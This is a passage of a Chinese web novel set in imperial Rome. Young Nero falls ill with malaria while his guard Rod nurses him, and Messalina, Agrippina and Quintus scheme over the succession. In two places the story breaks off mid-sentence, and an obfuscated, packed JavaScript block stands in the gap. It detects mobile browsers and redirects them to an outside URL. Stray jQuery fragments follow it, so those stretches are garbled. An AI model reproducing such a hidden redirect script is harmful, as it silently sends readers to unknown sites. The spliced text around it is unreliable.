尼禄有些慌乱,失措地垂着脑袋。他几乎是如困兽一样,说出的话也是无力的:“真的没事……”
罗德不依不饶。他将双唇靠近尼禄通红的耳垂,鼻息游离进他的耳孔,如魔物低吟般吐出热烫的气息:“别逞能了。”
“哦……”尼禄无措地捂脸,感到有些窒息。细长的发绺间透出他绯红的脸色。
罗德为他套紧羊毛毯,揉了揉他的绒毛脑袋。他的表情十分凝重,黑眼瞳染上一层深暗的颜色,如剑光迅速划过的一道剑影。
“什么病?”他定定地盯着尼禄。担忧宛如柔韧的水草充盈在他的口气里。
尼禄僵立着,从指缝间偷偷瞄他俊美的五官。暖意如细长的藤蔓一般卷缚他的心脏,与得知病噩的绝望碰在一起,如紧紧黏在一起的两片嘴唇。
他忽然圈住罗德脖颈,把自己揉进他的怀中。他的脊背剧烈地颤抖,如溺水之人一般攥紧罗德的衣服。
消极如涨潮般涨满他的脑际,他的嗓音略带哭腔:“我感染了疟疾……我会死的……罗德……我马上就要死了……”
“疟疾吗?”罗德紧迫起来。
他的眼前立刻跃出蚊蝇、天井,以及从榕树下滚下去的尼禄。
尼禄抖动的卷发在他耳边摩擦。
罗德是一味的沉着,紧裹皮革的手象块铁石一样移上他颤动的后背,如定魂般按住他冒汗的后脑。
“我会照顾您的。”他认真地说,“您不会死的。”
他说话时胸膛有隐约的振动。这种振动顺着皮肉与骨骼传来,几乎要击垮尼禄脆弱的心脏。
……
尼禄患病的消息不胫而走。
帝位候选人命悬一线,这个消息如水滴进沸油,在罗马无疑是轰动性的。
麦瑟琳娜坐在铜镜前,嘴里咀嚼着一片茴香叶。这种清香的叶片可以改善她的口气。
她的舌头夹着叶片,从齿缝间哼着不成调子的歌儿。
她的父亲尤利乌斯抄着双臂,宽厚的肩膀象是被重锤击打过一样坚硬。他那装满了葡萄酒和鱼肉的肚子,象锥一样凸出来。
“我进宫看望你,可不是为了看你在脸上描描画画!”他叹出一口疲惫的气,“你除了向我借钱,从来都不会主动来探望我这个父亲!”
“噢!父亲,别说这种沮丧话!”麦瑟琳娜蜷起眉头,从铜镜里责怪地瞧了他一眼。
她将蜂蜜和面粉搅和在一起,又滴入一些玫瑰花汁,再小心翼翼地把它贴到脸上。
这种可以食用的面膜流行于罗马的贵妇间。她们相信,这些东西可以祛除皮肤上的皱纹和雀斑。
她精明的眼珠转了转,以孩子般的撒娇口吻说:“难道您心疼借我的那些钱了?”
“怎么可能?!”尤利乌斯摇头,“你可是我唯一的女儿,我所有的财产和土地都必定留给你和你的儿子!”
麦瑟琳娜勾起一个得逞的笑容,糊在脸上的面粉落下来一小片。
尤利乌斯看着女儿,无奈地叹口气。他深陷的法令纹宛如沟壑般嵌进脸颊,于是说话的语气也好象从深沟里传来:“你借钱干了什么……我都知道……”
麦瑟琳娜惊愣住。一滴蜂蜜混合着面粉,滑稽地掉进她的眼里。她飞快地眨眼,十分惊惶。
尤利乌斯有些忧虑,络腮胡子被他的口气吹颤,“如果尼禄吃了毒鱼酱,这件事一定会闹得满城风雨,法院那帮老家伙们会追根究底的!”
“查不出来的!”麦瑟琳娜不想示弱,“那些毒粉都是特制的,就连最有经验的医生也看不出来。”
“不。”尤利乌斯摇了摇头,“如果那个活蹦乱跳的小家伙暴毙,身为昆汀母亲的你自然就是最大的嫌疑犯……”
“您的担忧全是无用的,尼禄马上就要死于疟疾,那些毒粉没派上用场。”麦瑟琳娜言语恶毒,眼眸里有恶灵般的冷光。
“我无所谓尼禄的死活。”她脸部的面糊晃动,形成一个怪诞的鬼状:“我高兴的是,阿格里皮娜即将失去她生命中第二座靠山……”
“你的心胸太狭隘了!”尤利乌斯训斥她一句。
麦瑟琳娜一把揭掉面膜。她神色委屈,蓬蓬的红头发上粘上了一些面糊。
“可是我真的难以忍受了!”她声音尖利地说,“我非要比过她不可!”
她象是被触发了什么机关,一股来自童年的苦涩如绳索般缠缚着她。她象一条蛇一样怪异地扭动几下。
“母亲总是拿她来贬损我……”她脸色痛苦,血红的双唇犹如绞紧在一起的两条红蜈蚣。
她吐出嘴里的茴香叶,断断续续地说:“难道……我是一只仿照她长出的影子吗……”
尤利乌斯绷着脸,如泥流一样踱步到女儿身后,轻拍她颤抖的肩膀。
麦瑟琳娜干脆趴在桌案上,将一片狼藉的脸埋进胳膊,压抑的哭声犹如从昏暗的阴沟里冒出。
“……我为了比过她,连一个残疾的老头都愿意嫁……”她哭得更凶了。
尤利乌斯抚摸她的红头发,“你母亲的初衷只是为了激励你而已……”
“可她暴躁得就象一只被激怒的公牛!”麦瑟琳娜哭道,“她总是打骂我!我恨她!”
尤利乌斯为她递来手帕,擦净她发际上的面糊。
喟叹从他的厚嘴唇和络腮胡中溢出:“可不贤良的她也得到了短寿的报应,不是吗?”
麦瑟琳娜吸着鼻涕,发出嗤嗤的声响。一旁为她研磨眼影粉的奴隶悲哀地瞧了主人一眼。
……
阿格里皮娜接到口信,急急忙忙来看尼禄时,身影好象恶龙摆尾一样扫进宅院。
“滚开!你们这群命比蛆虫还贱的东西!”她嘴里怒骂着,脸色不佳,如一张风干的羊皮纸。她没有化上妆容,素净的眉眼显出如小刺般的鱼尾纹。
奴隶们惊恐地噤了声,赶紧列到两边,象一堆堆任她摆布的积木块。
阿格里皮娜快步闯进卧室,象一块滚动的重石一样推搡开奴隶,走到儿子的床边。
她连衣袍都是松松垮垮的,好象从灵魂深处裂开一个创口,越裂越大,最终裂开到衣服上去。
病床上的尼禄瞥她一眼,又迅速闭上。
疟疾使他时刻发冷,冷汗濡湿他细软的额发。他的嘴唇象结霜一样泛白,睫毛被汗浸透发亮,象一片寒亮的刀片。
阿格里皮娜绷着眉头,诧异好象乌云般舒展在她的脸庞。她空虚的双目有一种狂乱的意味。
她缓慢地摇着头,抓紧尼禄冰凉的双手,神经质地反复嘟囔:“这不是真的……”
尼禄强撑着抬起眼帘,母亲慌张的面目如蜘蛛般跳进视野。他隆起的眉棱投出一片青铜一样的阴翳,狠戾宛如幼蛇一般蹿上他的眉眼。
他还在发着抖,以一种嘲弄的语气说:“真遗憾……现在我连那个演讲都做不成了……”
阿格里皮娜五官狰狞。她摸了一下尼禄的额头,满手都是凉凉的汗。
“你千万不能死……”她慌了神,“我们多米提乌斯决不能终止于此……”
她无意识地揪住儿子的衣领,苍白的手指愈发用力。她的眼角象充血一样泛红,泪光象盐晶一样粘在那里。她神识游离,整个人都陷入到一种绝对的信念中去。
尼禄被她钳住脖子,呼吸逐渐困难。他发绀的嘴唇哆嗦着,后背冒出阵阵冷意。
他受不住地咳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239634|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嗽两声。
阿格里皮娜如梦初醒。她迅速松开手,去摸他发红的脖子,想确认他是否受伤。
尼禄用尽全力打开她的手,冲她喊道:“滚!”
阿格里皮娜怔了怔,直愣愣地挪上床边,好象一尊肃穆的大理石雕像。
“你必须挺过来!”她沉重地开口,嗓音象负重千里一样疲惫,“你父亲唯一的心愿,就是兴旺多米提乌斯这个姓氏……”
她的眼里闪过一只纤细蛛网般的柔丝,转瞬即逝。
“我向他承诺过,一定要把他的家族推上顶峰……”她恍惚地说。
“可我也是人……”尼禄满脸阴色,“我不是实现你们心愿和承诺的工具……”
他被寒症折磨得浑身无力,好象四肢都被灌满了沉滞的水银。
“但我们是你的父母!”阿格里皮娜急切地强调。
尼禄用手背挡着眼睛,纹丝不动,好象被冻僵了一样。他的银发塌软下来,色泽暗淡,象剥落了外层的银器。
他沉默良久,悲哀地自问:“我为什么要成为你们的孩子……”
话语从他干涩的咽喉里挤出来,象雾气一样消失了。
阿格里皮娜沉默地站直了身体。她颜面呈青白色,好象从皮肤之下开始滋生一片片霉菌,浑身上下每一处都注定要被侵蚀。
“活下来,尼禄。”她为儿子掖好被角,“我会为你向神明祈福的。”
尼禄轻嗤一声。
阿格里皮娜没有停留。她就象一阵洪流,兴师动众地从家宅里离开了。
尼禄心烦。他驱散了四下的奴隶,扯过毯子,蒙住汗涔涔的脑袋。
他在昏暗的被窝里紧闭双眼,意识模糊,好象沉入了冰冷的湖底。
他没能睡很久,盖在脸上的羊毛毯就突然被掀开。凉意象针扎般刺进他的毛孔,他打了个哆嗦。
一只被刀剑磨出茧的手贴上他布满凉汗的前额,不由分说的架势。
尼禄心尖绞紧。他将眼睛睁开一条缝,那双幽深的黑眸就如游虫般钻进他的两睫之间。
“我买了药。”罗德说。他剑锋般的眉宇夹杂着汗水,那是他疾走时热出的汗。
尼禄紧抿着嘴唇。一股酸涩从肺部涌上来,抵在他的喉咙。这股酸涩太冲,几乎要从他的鼻孔和眼睛里冒出来。他的眼前浮起一层翻涌的水雾。
他困难地翻个身,象苏醒的飞蛾在壳里挣扎一样,将咽喉的酸意咽下去说:“我不想吃。”
罗德将药草丢到一边。他烦躁地摘掉皮手套,冷锋般的目光瞥过尼禄颤抖的肩膀。
“不吃药的话会死的。”他凝着的神色隐遁在凌乱的黑发里,他的红唇象生长在暗冥里的花。
尼禄顽固的嘴唇动了动,酸意使他的下巴抽搐。他将脑袋埋进枕间,心情低落地蹭两下。
“你别管我……”他的声音闷闷地传来。
下一刻罗德就逼近了他。
他强硬的身影一闪,就进了尼禄的被窝,速度之快宛如游鱼。
他那结实的手臂如钢箍般死死箍住尼禄的腰,温热的手掌随便一摸,就沾上了一手冷汗。
尼禄好象傻了似的愣了半晌,全身僵硬如结成了水泥。他无比近得感受到罗德的胸膛,如天降诅咒一般紧附后背。一股热血冲上他的头脑。
罗德揩去手上的汗,沉静地说:“您在发抖。”
尼禄仓惶,拼尽全力去挣脱。但所有挣扎都被罗德禁锢住了,好象一个落入困境的猎物。
“放开我!罗德!”他惊慌地说。
罗德将他的不安分统统压制下去。他将下颚抵在尼禄肩上,两人的头发缠绕在一起。
他从背后凑近他的耳边,压低声音,话语象蜉蝣一样游进尼禄的耳朵:“为什么要躲着我?”
酸涩几乎象尖刺般要钻出鼻腔。尚为稚嫩的喉结颤抖,尼禄吸了吸鼻子,饱胀的眼睑已经红肿,那里无疑蕴藏着憋闷已久的泪水。
罗德安慰地摸摸他的头发,拿捏出一种柔化了的语气,好象钢铁熔化。
“不是答应了让我照顾您的吗?”他说。
尼禄承受不住。他猛地转过身,把脸埋进罗德的黑衣里,话音里充斥着浓重的鼻音。
“我可能会传染你的……”他瓮声瓮气地说。
“管它呢!”罗德笑一声,仍是那种不受拘束的、随性的态度。
尼禄紧闭着眼。此刻他有一种如水滴入大海般的归属感。
18. 病
因为染病,尼禄只能吃一些清淡的流食,味道重的食物一点都不能碰。
包括那些新酿制的鱼酱。
他的病症愈发严重。元老院里一些墙头草的元老,已经预见他死亡的结局,纷纷讨好麦瑟琳娜和昆汀。
疟疾使尼禄高烧不退,浑身的关节都象被腐蚀一样酸痛。他忽冷忽热,冷时如堕入冰窖,热时就如于火焰上炙烤。
奴隶在病床前穿梭,为他药熏衣物。
他躺在被褥里,呼吸短促而虚弱,好象一只即将坏死的茧蛹。冷汗象另一层皮肤,粘腻地胶黏在毛孔,再一点点渗进他的五脏六腑。
病重之中的尼禄,好象一个强光下的幽魂,摆脱不了死的形象。
罗德用石槌捣烂甘草,绕着纱布将这些草渣缠起来。
青绿的草汁从他坚铁般的手指间流淌出,留有清涩的苦味。
他迈出重锤般的脚步,象一把重戟般移到尼禄床边,利落地掀开被子。
睡眠之中的尼禄蜷缩一下,不适地歪过脸。他意识不清地嘀咕一句:“让我睡……”
罗德挪正他的头,用手背拍了拍他高烧的脸,强迫他睁开眼睛。
“不要总是睡!”他严厉地说,“那只会让您离冥神更近一步。”
尼禄被他的动作惊醒,缓慢地睁开眼。他瘦如白骨的手摸索着,如扎根般握住罗德的手腕。
“是罗德么……”他迷迷糊糊地说。发烧使他视野犹如蒙雾般的不清晰。
罗德反握他冰意的手,胡乱地拨开他汗湿的额发,以一种刻意压低的口吻说:“是我。”
一个微笑如掉入深井般在尼禄脸上隐现。他挪了挪脑袋,用自己发烫的脸颊去蹭罗德的手。
“我好冷……罗德……”他气若游丝地说,“你能抱着我吗?”
罗德沉默地点头。他冰凌般的手指动几下,就将甘草渣绑在尼禄的额上。
他蹬掉凉靴,也躺上床,环住尼禄消瘦的腰身,把他圈进怀里。
尼禄消瘦了太多,嘴唇出现病重的青紫。蜜蜡般的眼珠此时象干裂的琥珀石。
他的关节不断抽痛,如有鬼魂割据筋骨。
他疼出一层冷汗,声音微弱地说:“我昨晚梦见朱庇特用脚踢我……就和凯撒被刺的前几天所做的梦一样……”
“那只是民间的谣传。”罗德蹙眉道,“不值得相信。”
疼痛使尼禄抽搐一下。他下意识抓紧罗德的衣服,好象他的肺是一块被风侵蚀的石膏块,马上就要碎成碎片。
“我太疼了……罗德……”他皱起细线般的双眉,冷汗仿佛滴水成冰。
罗德吩咐奴隶去煮一些柳树皮水。这种药水具有止痛的作用。
奴隶取出天仙子蒸制的香油,涂抹在尼禄的手心,这能使他镇定一些。
尼禄松缓了一点。酸痛象拉丝一黏在他的关节,他不敢动弹,如僵死一样蜷缩。
“我好疼……”他迷乱地说,渐渐陷入半昏迷的境地。呻|吟宛如浅淡的酒气一般从他的喉咙里溢出来。
罗德察觉到他不对劲,连忙摇晃他的肩膀,“别睡!”
尼禄任他摇晃也不睁眼,好象被病痛夺去了意志。荒诞的字眼从他干枯的嘴边溜出:“我不是怪物……”
罗德紧迫起来。他揪了揪他的银发,使劲掐一把他汗津津的脸颊。
“尼禄!”他凑近他耳边厉声喊道,声音有如撞钟,“不要睡!”
尼禄被这类似钟晨暮鼓的声音拉回意识。他勉强地抬眼,迷蒙中瞧见罗德的黑眼黑发,好象长钉般钉进他脆弱的眼底。
一丝细微的微笑晕开在他干裂的嘴角。
“别离开我……罗德”身体上的疼痛使他在说话时不停地颤眉,“别把后背丢给我……”
罗德的惊愣犹如棱面转动的虹光一般,即刻就消逝不见。
奴隶端上来熬煮好的柳树皮水。罗德一勺勺喂尼禄喝光。
尼禄的卷发乱糟糟的,内衬衣已经汗湿。他喝了止痛的药汁,才缓慢地恢复一点活力。
罗德不想让他沉睡,便让奴隶拿来一部羊皮卷,准备给他念故事听。
他靠坐在床榻上,黑色的身影硬邦邦的,宛如沉礁。
尼禄与他同盖一床被子,如休憩般贴紧他硬实的腹部。
“故事……是希腊文吗……”尼禄声音低弱地问。
“拉丁文。”罗德展开羊皮卷,指甲在纸卷上刮出沙沙声响,“我可看不懂那些虫子一样的字母。”
尼禄病痛的脸上有柔和的笑。
罗德铁丝般的眸线扫过羊皮卷,念出一串字正腔圆的拉丁文:
“俄狄浦斯悲愤地抓挠自己的脸颊。他的眼睛红得滴出血泪,乌黑的发丝在以惊人的速度变白。他状若失智般疯癫,他的视野里一时间挤满了所有的魔鬼……他用他粗壮的手臂推开侍卫,嘴里吐出炭火般烫口的诅咒:‘噢!我是多么的不幸!我是被天神弃绝之人!是不清洁的母亲的儿子……’”
尼禄想了想,闷声说:“我读过这个故事。”
罗德无声地思索一会,继续念道:
“他就象一只断了头的蝇虫,在宫殿里无序地跑来跑去。他问他的妻子去哪儿了,一会又改口,说不对,那是他的母亲,是他和他的儿女们共有的母亲。等到他推开卧室的金门时,看到了王后吊死在那里,脖子下的细绳还在左右摇摆……”
罗德忽然顿在这里,冷锋般紧闭的双唇静止。
“怎么不念了?”尼禄的一顶卷毛竖起,在他腰间晃了晃。
罗德的指甲抠紧卷边。
他是阅历丰富的复活之人,对命运的不遂人愿有刻骨铭心的感悟。
他端正一下姿势,往下念到结尾:
“俄狄浦斯从王后的裙袍上取下两枚金别针,狂乱地往眼里刺去。他每刺一下,迸出的鲜血就沾湿他的胡子,好象雹子一般簌簌而落。他边刺边嚎叫道:‘你们再也看不见我所受的灾祸、我所造的罪孽了!你们从此黯淡无光!’
悲剧和灾难全落到他身上。即使痛恨他的人,见到他这般惨状,也会留下怜悯的眼泪……”
尼禄不安分地抽动几下。他揽着罗德的腰,衰弱地趴在他的腹部。
疟疾折磨得他生不如死,体力早已经耗费殆尽。他乖巧地趴在罗德身上,很快就睡着了。
……
阴雨天有一种令人不舒服的灰蒙,好象刷上了一层死人的骨灰。乌云象骨架一样浮在其中。
阿格里皮娜身披祭祀时穿的白袍,手摇银铃,定定地站在神龛前。
地面上的砂石被浸湿,呈现出幽冥般的灰黑色。在灰蒙的天幕和污黑的地面之间,她象一根冥顽不化的白棍,强撑在黑灰之间。
她扯动戴在头顶的白头纱,罩住了素净的脸庞。
尼禄感染疟疾已经七天了。她每天都要为他祈福。
“医药之神埃斯库拉皮奥,以汝医棍作万能之器,挽救吾子性命于冥河边界……”
她虔诚地重复着这句咒语,将白蜡烛燃亮,稳稳地放置在神像前。
待到蜡烛燃尽,她如岩石一样沉重地转过身,视线一下子就撞上庭院里的不速之客。
阿格里皮娜的瞳孔一瞬间如蛇眼般紧缩。
麦瑟琳娜穿着艳丽的红裙袍。她的红指甲油亮至极,嘴唇抹了红藻制成的口红,好象在流血一样鲜红。
她们俩一红一白针锋相对,在色泽暗沉的天地间,就象两抹误入其中的色彩。
淡漠很快就在阿格里皮娜脸上伸展。她隔着轻薄的白头纱,冷若冰霜的脸孔若隐若现。
“看来我应该换一帮看门的奴隶了,他们瞎得连一个来意不明的人都不拦!”她说。
麦瑟琳娜勾起一丝狡猾的笑。她今天兴致极高,盛气凌人的话语象尖石一样,一颗颗从她唇缝间吐出来,好象她在说话时能有来自灵魂的力量:
“因为我是最尊贵的皇后!比你这个寡妇更有资格发号施令!”
阿格里皮娜神情冷淡。她将神龛上的帷幔捋顺,头纱被风吹得象一团滚动的白烟。
“如果你是来炫耀丈夫的,那请你从我的别墅里出去。”她平静地说。
“你错了!我可不是来炫耀丈夫的……”麦瑟琳娜摊开手,一步步走近。
她的红头发张扬地卷翘起来,象一堆张牙舞爪的红虫。
“我是来安慰你的。”她摆出戏弄的表情,“听说你的儿子得了疟疾,已经离死不远了。”
她眼下蒙上一片暗影,语气转而阴蒙起来:“没想到他死得这么容易……”
阿格里皮娜屏息。她无力地垂下头,从泛白的嘴唇里飘出的字好象灰尘一般飘忽:“他会好的……”
麦瑟琳娜冷笑一声,描画得精致的浓眉弹跳两下。
“啧啧……瞧瞧你现在落魄的模样,阿格里皮娜。我记得少女时候的你还是很纯真的,那个多米提乌斯就象施了巫术一样,把你从一只欢乐的夜莺鸟变成了一条阴险的蛇……”
阿格里皮娜立刻就发作了。她的眼角隐约有血色,口气危险地说:“我不许你说他!”
“哼!”麦瑟琳娜抄起胳膊,“他留存的唯一的血脉都要被碾断了,说他几句又能怎么样呢?!”
阿格里皮娜面色如死一般沉静。她金棕色的眼珠象一潭闷闷的死水,波澜不惊。
她顿了一会,开口道:“你这个为了虚荣,就去嫁给一个驼背的人,怎么能明白我的心思呢……”
麦瑟琳娜张扬的脸孔有所僵硬。
“我答应过我的丈夫……”阿格里皮娜缓慢地说,眼里有怀恋,“一定要帮他实现心愿。”
说着,她倏地换上狠戾的神情,挺翘的鼻梁象野兽发威一般皱缩着。
“哪怕尼禄就此死去,只要我还能呼吸和识物,我也要用尽一切手段去实现我丈夫的心愿!孩子、婚姻、伦常算得了什么?!只要他的心愿得遂,就算是贩卖我自己为低贱的奴隶,甚至要我的命,我都能一口答应!”
麦瑟琳娜惊诧地抽口气,“你这个疯子!阿格里皮娜……”
她尖叫起来,“你简直是个偏执的怪物!”
阿格里皮娜轻轻地瞥她一眼,叹道:“从小到大,我一直都没想跟你攀比,麦瑟琳娜。但你总是象一只受惊的老鼠一样在我眼前跳来跳去!”
麦瑟琳娜脸颊的肌肉抽动着,死盯着她。
“我的心里装满了多米提乌斯的理想,无瑕和你玩小女人的游戏。”阿格里皮娜冷淡地说,“你永远都不在我的眼睛之内!”
麦瑟琳娜气愤得涨红脸。她泄愤似的,赭红的长指甲扯了扯红艳的头发,好象血滴在血里。
她咬牙切齿,字眼从牙缝间一个个蹦出:“去他妈的理想……我只知道你快要败给我了,而且输得一败涂地!”
阿格里皮娜面无表情地站立。
“克劳狄乌斯已经吩咐了司葬为尼禄准备葬礼;广场上的陵墓里,已经有一处洞穴为他腾地了。就连坟墓都立好,只差刻写个名字和墓志铭了……”
麦瑟琳娜走过去,一只手伸出来,去捏阿格里皮娜的脸,十分轻佻。
“我倒要看看……尼禄死了,你还有什么办法去实现你丈夫的理想?”
阿格里皮娜冷着脸,打掉她黏虫般的手。
……
一大清早,就有几名长着白胡子的法官匆匆到来,象一堆巨石滚动一般,轰隆隆地闯进家宅。
为首的法官手里还捏着一份遗嘱。
罗德如坚石般堵在卧室门口,依仗着他的冷剑。他深刻的下颚骨偏过去,比他手上的剑锋还要锐利一些。
“你们是谁?”警戒象利箭一样绷在他眼中,即将跃出。
法官亮出遗嘱,“是大人的母亲让我们来的。”
罗德定住,肃然的脚步不挪分毫,“这是多米提乌斯的家宅。你们的一言一行,都要遵照大人的意志执行,而不是他的母亲!”
法官的胡须动了动。他板起严肃的脸孔,将遗嘱凑到罗德眼前,指了指上面的印章说:“这上面有皇帝的印章!”
罗德顿一下,铁桩般的脚步硬是挪开,闪出一道勉强的空地。
尼禄就在床上沉睡,厚重的毛毯几乎蒙盖住他整个头颅,只露出用以呼吸的口鼻。
法官向神明默声祈祷,接着握起尼禄的手,用他指间的金戒指在遗嘱上盖了印章。
这份遗嘱规定:在尼禄死后,他所有的豪宅和土地都冠以“多米提乌斯”的名号,无偿赠给全罗马的民众。
身为皇帝的克劳狄乌斯当然乐意见到这种遗嘱。
在阿格里皮娜向他提出这份遗嘱时,他喜笑颜开,乐得就象一只雀跃的鹦鹉。
以儿子的死亡博得民众对家族最后的好感。这是阿格里皮娜绝境之中的谋划。
法官脚步轰鸣地离开后,尼禄迷迷糊糊地张开眼睛,迷离象碎冰般游离在他眼中。
他进入了疟疾中最难捱和危险的时期,时而清醒时而昏沉。他仿佛在冥河边界淌水,意识宛如一滩脏乱的碎冰,是不成体系的。
罗德扶他坐起来,绑紧他额上的甘草包。
尼禄眼眸黯然,那里象堆积一层层暗灰。他歪靠在罗德身上,一直在沉默。
安静好象死寂的枯藤般伸进空气里。
尼禄忽然出声,声线好象被风化,脆得马上就要断掉:“刚才是有人来了吗……”
“嗯。”罗德依然镇定,对他掩盖了事实,“是一帮来送甘草和大蒜的奴隶。”
尼禄轻轻笑两声。他抬臂圈住他的腰腹,在他硬得硌人的肋骨处蹭了蹭。
他神色了然地说:“你骗我……罗德……”
罗德紧闭的双唇有松开的趋势。
尼禄摩挲一下指间的金戒指,沉沉地说:“我的印戒被人转动过,上面还沾了湿湿的漆。这个时候盖印章,一定跟遗嘱有关,我说的对吧……”
罗德默然。
“没想到我会连自己的遗嘱都做不了主……”薄弱的咳嗽声从尼禄口中溢出。
病痛和现实,使他初尝人世的辛酸。他的眉眼已染有幽邃的意味:
“我的父亲曾骂我为怪物,我的母亲象鬼一样束缚着我……我走的每一步,都是被推搡着走的,到最后还要受疟疾的宰割……我什么都控制不了,真是个无能而任人鱼肉的废物……”
罗德坐到床边,犹如锻造之铁般的手抚上他单薄的肩膀。
疟疾于此时发作。疼痛象拉锯一样磨着尼禄的骨骼。
尼禄晕眩一下。他的呼吸逐渐短促,无助地攀紧罗德的腰。这剧痛太烈,好象有鬼魂在一点点剔掉他的筋骨。他疼得甚至想要干呕。
罗德喂他喝一点柳树皮水。他听话地喝光,就钻进厚实的被褥里去了。
这时候,窗外的庭院里响起一阵喧闹,象一个轰雷一样炸进院子里。
罗德一步就跳下床,如游魂般疾速闪到门口。他乌黑的鬓发顺势被扫到肩前,象一根根细针。
卧室门嘭一声被踹开,带进来的门风将他的发丝拂起。
昆汀象一团浸满了油的棉花,嬉皮笑脸的,晃悠着从门框里挤了进来。
他身后还跟着四个奴隶,在合抬一只木箱。
昆汀一手抱着陶罐,一手叉着圆水桶般的腰,挺出来的肚子比陶罐还大。
“喂!”昆汀用尖嘎的嗓子吼一声,怪笑道,“听说你快要死了!我来看看是不是真的……”
尼禄强打起精神,从被窝里露出一双冷眼。阴戾犹如被召唤般,隐没他的眼角。
“我的死活与你无关。”他冷漠地说。
“别这么冷淡嘛!我可是来给你送礼的!”昆汀装模作样。
他线缝般的小眼艰难地挤在脂肪中,从乱晃的脸皮之下透出狡猾的精光。
尼禄不屑一顾。
昆汀嗤笑。他有点暴躁,肥猪皮的脸象灌了颜料一样瞬间变红。
他声线尖利,从塞满肉丝的牙缝间钻出来,给人一种很湿腻的不适感。
“算了!我是不会和一个要被蛆虫啃食的尸体计较的!”他白了尼禄一眼。
昆汀挪着猪蹄般的双脚,圆溜溜的肚子抵着陶罐。他晃着一身肥油,时刻突出的双下巴随之晃动。
“听说你捐了你的全部财产。”他幸灾乐祸,用脚碰了碰桌腿上的涡卷图案,扣出憋闷的轻响。
尼禄伤忡一下。他骨瘦如柴的双手猛地攥紧毯子,青白的脖颈间隐有动脉突突直跳。
昆汀歪过肥厚的脑袋,嗅了嗅怀里抱着的陶罐。几股口水从他的嘴角溜出,他吸溜吸溜口水,打开了盖子。
一股浓郁的鱼鲜味从罐口飘出,象滑腻的触手一样,狡黠地吸住他的鼻子,钻进粗大滚圆的鼻孔。
“这是我在你家里找到的……”昆汀勾起手指敲了敲陶罐。他说着说着话,口水就从齿缝间流出来。
尼禄痛症与冷症一并来袭。他的唇齿止不住地打颤,碰撞出细碎的声响。冷汗象朝露一样颗颗凝结,再汇聚成股流下。他的肌肉酸痛,刚刚有点血色的嘴唇,好象被抽干一般发白。
昆汀抹掉嘴边的口水,浮流在油脂中的五官一挤,就扯出一个狞笑。
“多么狼狈啊……尼禄……”他恶意地笑着,“我现在一只手就能掐断你的脖子!”
被重病袭击的尼禄顾不上与他口舌相争。
昆汀熊掌般的肥手咣咣地拍两下陶罐。
他身后的四名奴隶听懂他的意思,将抬着的木箱移床前,七手八脚地掀开了箱盖。
木箱里装着几件黢黑的丝绸,反射着暗沉的光泽,散发出一股呛鼻子的松香味。
罗德站在一旁,手已慢慢按上磨得光亮的剑柄,十分紧迫。
木箱里的是专门给死人装殓的丧服。
“瞧见没有?!”昆汀怪叫一声,兴奋如垃圾一般漂浮在他脸上。
“你马上就要穿上它,葬入广场边的陵墓了……哦不对……”
他手舞足蹈几下,奸邪宛如面具卡在他的脸庞。他被肥肉累赘的嘴唇,此时吐出恶毒的话语。
“我不会让你安眠在皇陵的……”他狠毒地笑道,“我要把你的骨灰做成面团,投喂给最下贱的妓|女和奴隶!”
这种落井下石的话,象毒蝎一样爬进尼禄的耳朵。半昏迷的他被刺激到,剧烈地喘息起来。
“你没有资格这么做!”狠毒象流云一样压上尼禄的眉眼。“我是贵族的后裔……”
“我当然有资格!因为我将是罗马的皇帝!我是第一公民!我的话语有和法律同等的地位!”
昆汀撅起粗短的拇指,指了指自己圆胖的鼻尖,“而你,不过是个跟你父亲一样的短命鬼罢了……”
他的狠话,象冰锥一样锥进尼禄向来单纯的脑际。尼禄僵直地坐着,此时他干净的眼瞳如被污染一样变得幽暗。
在人生低谷的绝望下,少不更事的他竟然产生一种扭曲的顿悟。
一根长剑忽然飞旋而来,发出嗖嗖的破风声。剑光晃乱了昆汀被油脂挤压的视野。
剑刃辗轧过空气,噌地扎进那几匹不详的黑丝绸里。
暗红的剑柄立在黑丝绸中,象浮动在地狱冥流里的一抹血。
昆汀被这突如其来的动静惊吓一下,肿胀的嘴唇象猴子那样外翻,呆滞而丑陋。
“真是吵死了!”罗德如沉锋般逼近他,威胁的口吻象根根倒刺一样。
他已经相当烦躁,抽回了长
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239635|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
剑,“拿着你的鱼酱快滚!如果你不想被我割掉舌头的话。”
凶狠的修罗气笼罩罗德的眉目。他把剑搭在肩上,一双美目冒出猛厉的精光,那是一种近似妖物的狠戾。他自前世起养成的杀人如麻的血腥气质,在此刻完全地重现了。
昆汀被他的气势震住。惊恐象杂草一样生长在他肥胖的脸上。
他粗壮的脚脖子颤了颤,象一块肥腻的乳酪般溜走了。
……
作为昆汀的外祖父,尤利乌斯一时得势。
他更加卖力地与他的奴隶们日夜欢愉。用以催|情的缬草烟气象蜈蚣一样爬行在宅院里。
门希扣好肩甲的搭扣,向后捋一把金箔纸般的金发。
他踩着奴隶下了马,五官如沉网一样紧巴巴地绷在他的脸孔。
他在宅院门口顿一会,走进尤利乌斯的家宅。
殿门里寻欢作乐的声响象热汽一样散发过来。门希的脸皮如树皮般绷直。
尤利乌斯一脸餍足地晃出来,嘴里还大声嚼着一颗甜橄榄。
他淫|邪的眼珠转动两下,就如毛毛虫般黏到门希的脸上。
“好久不见了,老朋友!”他架着膀子,贼兮兮地微笑,一副吊儿郎当的随意姿态。
